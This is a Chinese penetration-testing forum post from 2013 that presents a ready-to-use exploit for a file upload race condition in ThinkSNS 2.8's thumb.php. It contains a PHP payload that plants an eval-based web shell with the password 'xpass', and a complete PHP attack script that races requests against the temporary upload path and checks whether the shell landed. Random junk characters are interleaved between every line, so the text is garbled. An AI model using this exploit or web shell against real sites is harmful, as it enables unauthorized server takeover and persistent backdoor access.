中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
7 f) F% _5 r7 b9 Q7 T! Y) A
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
( `# r: A: Z: W, S1 J- L
漏洞文件
( S `; E. E2 P' x( R- L- F+ p
存在漏洞的文件为:thumb.php
2 H5 r V8 U3 Y) ^- H
作者:韦鲲鹏
# N7 m% I1 @# t3 N; K7 w ?
1、 准备如下PHP文件并上传到服务器(自己的)。
_1 [7 t5 u2 `
文件内容如下:
( _9 O7 q0 b) O! p, {9 r) U
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
. l- P- `1 c J; B
2、 计算出临时的文件名:
/ a% |! P$ p5 Z0 d
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
- R* q- F: D4 q# l
* G( u ~3 J. A" f- l
3、 上传临时文件。
+ U3 O0 U2 q, d4 U- w: \5 i4 T
4、 访问临时文件。
' R; f; a, \- m* a1 F6 r) o1 X
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
" x- t6 s4 a7 x
Exploit文件内容如下:(这个我就不详细解释了)
. {3 k4 I5 u8 E) F* ]7 c: C3 r
<?php
) K4 ^: I/ a) q* I4 t& T* j
error_reporting(0);
* Q/ N/ b+ ?; z$ b0 v0 W
set_time_limit(0);
; T' L. L8 h; T' O- J
ini_set(“default_socket_timeout”, 5);
5 e3 ^3 n3 c6 Q) T( K
function http_send($host, $port, $headers) {
2 |, g& X2 w2 X" ]& u* U0 Q+ U
$fp = fsockopen($host, $port);
* I$ G) U0 a6 u' |
if (!$fp) die(‘Connection -> fail’);
' n8 G3 W, X: W8 x& X. U9 Q0 |1 a( x" V
fputs($fp, $headers);
/ T/ C! u! P, D$ \/ D% e, [
return $fp;
7 k2 d3 l3 Y" C0 s
}
* f7 L$ |7 x! N9 \
function http_recv($fp) {
W+ U$ E8 I" H" G6 x. I0 o
$ret=”";
- q5 b7 a! n6 n: R* |) C
while (!feof($fp))
" @2 h3 K* L0 Q( i& n; E
$ret.= fgets($fp, 1024);
( A; L8 Y" p$ a% O5 q
fclose($fp);
# B/ [% {- N9 ? C. G
return $ret;
+ f6 @ t5 q& ? i( \$ a
}
7 l+ ?' d2 M* J* _* P: N. K
print “\n# ThinkSns Arbitrary File Upload #\n”;
7 X6 _1 I# z% {2 F
print “# Discovered by 韦鲲鹏 #\n\n”;
a8 _/ J1 ]: i
if ($argc < 4) {
|/ S% ^) u8 Z0 D, L' f& L
print “Usage: php <host> <path> <romote_url>\n”;
# v5 n+ g, K: }$ L4 ^1 k
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
: r9 G' z9 s7 L9 e
die();
9 |' J3 c6 y. p- z v0 T
}
, Z: {0 J& [8 B1 w v; z8 K
$host = $argv[1];
- q$ @6 k* X3 ]7 O
$path = $argv[2];
+ X9 z# g2 D/ V7 U& }+ Y9 a7 L
$url = $argv[3];
; R8 O6 H! ~( l5 \
$i=0;
) x% z5 A- \0 q% R
//上传数据包
- e0 Z/ [. L. M8 V) H6 e/ k, F
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
L' p+ }" e q$ }2 W; {) V" V
$headers_up .= “Host: “.$host.”\r\n”;
* B' D1 H h+ t! a- Q5 [0 ~
$headers_up .= “Connection: close\r\n\r\n”;
2 X, ]+ a/ @7 e/ J4 S6 c
echo $headers_up;
: t6 D. ^. T3 v1 d# `
//临时文件访问数据包
5 f' a1 r5 G* t( ?' N
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
( U, b# G7 Q: d1 W& F/ H9 G
$headers .= “Host: “.$host.”\r\n”;
8 h9 u8 S; S4 v, @
$headers .= “Connection: close\r\n\r\n”;
$ U7 N0 H y0 [8 i. D
echo $headers;
/ _* _ q6 H7 L6 E; r. U m: \9 [
while(++$i<10) {
4 [8 {0 s C! g3 r% I
fclose(http_send($host, 80, $headers));
1 `8 A" a1 I. p6 g7 K$ P7 N2 z+ i
}
2 A, S6 N0 a& }- e; y8 e' y9 U
fclose(http_send($host, 80, $headers_up));
1 H9 c/ h- ~9 p3 Y; b. m
while(++$i<50) {
% @# A( o/ T; }' o1 g7 B
fclose(http_send($host, 80, $headers));
6 ]/ C, u9 A' l+ _5 i& k/ C
}
3 G; B0 T- I, E2 T6 P
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
( I# Q" w1 N6 D( ]
$headers .= “Host: “.$host.”\r\n”;
4 I& J. a* Q* M% l0 D! M$ b
$headers .= “Connection: close\r\n\r\n”;
) }, e$ @1 O. {$ h+ f4 K
$res=http_recv(http_send($host, 80, $headers));
! x$ A4 [1 l, w
if(preg_match(‘/200 OK/’,$res)) {
U5 m8 I* N& }; G" `
print “Success!\n\n”;
$ _2 }. M* ]% w1 W/ I4 r% X
} else {
9 _) B# a: A5 t* B* T8 e$ ?
print “Fail!\n\n”;
+ t6 Q0 a2 i( n* f: z7 ~# N7 K: n
}
2 i0 G! p8 R! V k1 }: O
?>
! f" k4 d) h) ?. [3 s
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2